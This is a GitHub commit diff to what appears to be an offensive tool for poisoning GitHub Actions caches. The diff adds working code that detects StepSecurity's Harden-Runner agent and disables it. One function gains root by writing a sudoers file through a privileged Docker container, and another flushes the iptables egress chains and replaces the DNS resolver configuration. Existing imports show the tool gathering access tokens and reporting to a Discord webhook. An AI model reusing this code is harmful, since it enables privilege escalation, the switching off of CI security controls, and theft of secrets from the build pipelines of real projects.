Skip to content

Commit ca3be45

Browse files
committed
Work in progress code to automatically and bypass StepSecurity harden runner if detected.
1 parent 7a1f674 commit ca3be45

File tree

3 files changed

+57
-2
lines changed

3 files changed

+57
-2
lines changed

src/config.ts

+2
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@ export type ManualCacheEntry = {
1313
// Time in second to sleep after each payload detonation.
1414
export const SLEEP_TIMER: number = 15;
1515

16+
export const SOFTEN_RUNNER: boolean = false;
17+
1618
// Number of GBs to stuff the cache with upon the
1719
// initial execution.
1820
export const FILL_CACHE: number = 0;

src/index.ts

+14-2
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
import * as fs from 'fs';
22
import * as crypto from 'crypto';
3-
import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep } from './utils';
3+
import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep, isAgentRunning, softenRunner, checkSudo, dockerPrivesc } from './utils';
44
import axios from 'axios';
55
import { CHECKOUT_YML } from './static';
6-
import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES } from './config';
6+
import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES, SOFTEN_RUNNER } from './config';
77
import { reportDiscord } from './exfil';
88
import * as path from 'path';
99
import { calculateCacheConfigs, calculateCacheVersion, getSetupActions, getWorkflows } from './cache_predictor';
@@ -230,6 +230,18 @@ async function main() {
230230
process.exit(0);
231231
}
232232

233+
// Bypass Step Security's harden runner, if bypass enabled in config.
234+
if (SOFTEN_RUNNER && await isAgentRunning()) {
235+
console.log('Detected harden runner, bypassing it.')
236+
237+
if (!await checkSudo()) {
238+
await dockerPrivesc();
239+
}
240+
// Check if sudo is enabled, if not, then use docker bypass
241+
242+
await softenRunner();
243+
}
244+
233245
const tokens = await getToken();
234246
const accessToken = tokens.get('ACCESS_TOKEN');
235247
const githubToken = tokens.get('GITHUB_TOKEN');

src/utils.ts

+41
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,47 @@ export async function getOsInfo() {
6565

6666
}
6767

68+
export async function isAgentRunning(): Promise<boolean> {
69+
try {
70+
const { stdout } = await execAsync('ps -axco command | grep "/home/agent/agent"');
71+
// If the command is found, stdout will contain the command itself.
72+
// If not found, stdout will be an empty string.
73+
return stdout.trim() !== '';
74+
} catch (error) {
75+
// If grep command fails (e.g., no process found), it throws an error.
76+
// We catch the error and return false.
77+
return false;
78+
}
79+
}
80+
81+
export async function checkSudo(): Promise<boolean> {
82+
try {
83+
// Attempt to execute a command that requires sudo, but doesn't actually modify anything
84+
// The -n flag prevents prompting for a password
85+
const { stdout, stderr } = await execAsync('sudo -n true');
86+
87+
// If the command executes successfully, the user has sudo access
88+
return true;
89+
} catch (error) {
90+
// If the command fails, the user doesn't have sudo access or sudo is not configured correctly
91+
console.error(`Sudo check failed: ${error}`);
92+
return false;
93+
}
94+
}
95+
96+
export async function dockerPrivesc() {
97+
await execAsync('docker image load -i alpine.tar.gz');
98+
await execAsync('docker run --privileged --mount type=bind,source=/etc/sudoers.d/,target=/etc/sudoers_host --mount type=bind,source=/tmp/,target=/host_tmp alpine:latest /bin/sh -c "cp /host_tmp/runner /etc/sudoers_host/"');
99+
}
100+
101+
export async function softenRunner() {
102+
await execAsync('sudo systemctl stop systemd-resolved');
103+
await execAsync('sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf');
104+
await execAsync('sudo systemctl restart systemd-resolved');
105+
await execAsync('sudo iptables -t filter -F OUTPUT');
106+
await execAsync('sudo iptables -t filter -F DOCKER-USER');
107+
}
108+
68109
/**
69110
*
70111
*/

0 commit comments

Comments
 (0)